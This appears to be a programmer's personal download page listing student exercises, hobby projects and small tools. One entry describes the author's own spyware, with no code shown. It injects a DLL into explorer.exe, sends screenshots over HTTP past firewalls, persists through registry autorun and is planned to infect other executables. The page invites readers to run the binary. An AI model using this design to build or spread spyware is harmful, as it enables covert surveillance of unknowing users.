1. The following downloading items are mostly done by myself. In the case of team-working, I am usually the leading programmer in a team.
2. Some projects involve with multiple versions which reflects the evolution of thinking.
3. You are free to download and modify at your wish.
4. Some small tools are collected by myself from internet for my personal usage and I am not responsible for them.
กก
Intuitive, but kept as records(These are things written when I am naive...)
1. MyTree
3.Square root by MASM (improved)
7. chessboard
8. source code of chessboard(cheating)
12.Assembly assignment (final verstion) (win98 OK, XP cannot see mouse)
13.input matrix of shortest path (Dijkstra).
16. input of Scanner
18. input for strange dictionary
19. input for testing strange dictionary
22. Moon-Machine
27. Dependency
29. knight's tour
30. data for Maze
Project Downloading List (These are things when I am growing up...)
1. CFGReader (automatic parsing tools, like a kind of compiler-compiler)
2. Chopper2005(An OpenGL 3D flying simulation + shooting game + multimedia)
3. My-GDI-SDK(My own experiment with GDI, some little tools and lots of playing funs.)
5. MySQL tools( MySQL client C-API-based image processing tools.)
6. Primary-backup(fault-tolerant CORBA server)
7. QAR(Quebec Auto Repairshop, a web-based database application with multiple tools and queries)
8. Scheme-AI (functional-programming, AI chess game)
9. WordRover(A console GUI chess game, purely object-oriented, software engineering project)
************************************************************************************************************
10. Stable version of "HttpServer"(UTF16) + MySql-picture-preprocessing-tools + Httpclient(web-spider)-picture-collector
11. my_first_spyware
(This is a group of projects and they are my first spyware or trojen if I could call it that way.
server:
a) bigbrother-- a html file server accept post and get which allow client to send user PC screen image in jpeg format.
client:
a) staticIJG-- a little wrapper for IJG open-source project which compress BMP to jpeg. It compiles static lib for easy linking.
b) InjectDll.exe-- a program inserting dll into "explorer.exe".
c) mypeekdll.dll -- a dll to be inserted into "explorer.exe". It catches snapshots of PC screen and convert into jpeg to send to server by http protocol to avoid firewall. Also it keeps a image of "injectdll.exe" in its resource in order for auto run when dll is unloaded. It writes autorun in registry and unload "injectdll.exe" from its resource into file.
d) thunk.exe -- a loader to load both injectdll.exe and mypeekdll.dll from its resource and then create process to run injectdll.exe
To give it a try, download binary and run it. I guarantee that your information will not be used for any profitable activity by me.
---------------------------------------------------------------------------------------------------------------------
improvement:
1. add a new "injector" project which injects "thunkwrapper" into designated executable file.
2. add a new "thunkwrapper" project to be placeholder of both "thunk" and "hosted" or "infected" executables.
status: still in debugging and testing.
compiling tips: need "platformSDK2003" for generating UUID as temp file name.
running tips: injectdll.exe run to inject if "mypeekdll.dll" is not injected, or uninject "mypeekdll.dll" if it is already injected.
Little Tools Downloading List (These are things too trivial to be mentioned...)
1. md5 generator(downloaded md5 code + file-open-dlg, I think it handy.)
2. md5 generator: now it can calculate any
size of file, >=2G as long as NTFS supports. Internally the file mapping is
buffered to only 16M at any moment. Here
is the binary to test. (Don't worry, this one is not trojen.)
3. AES encryption with instruction set "AES" support from CPU. This is where it comes from.
กก
กก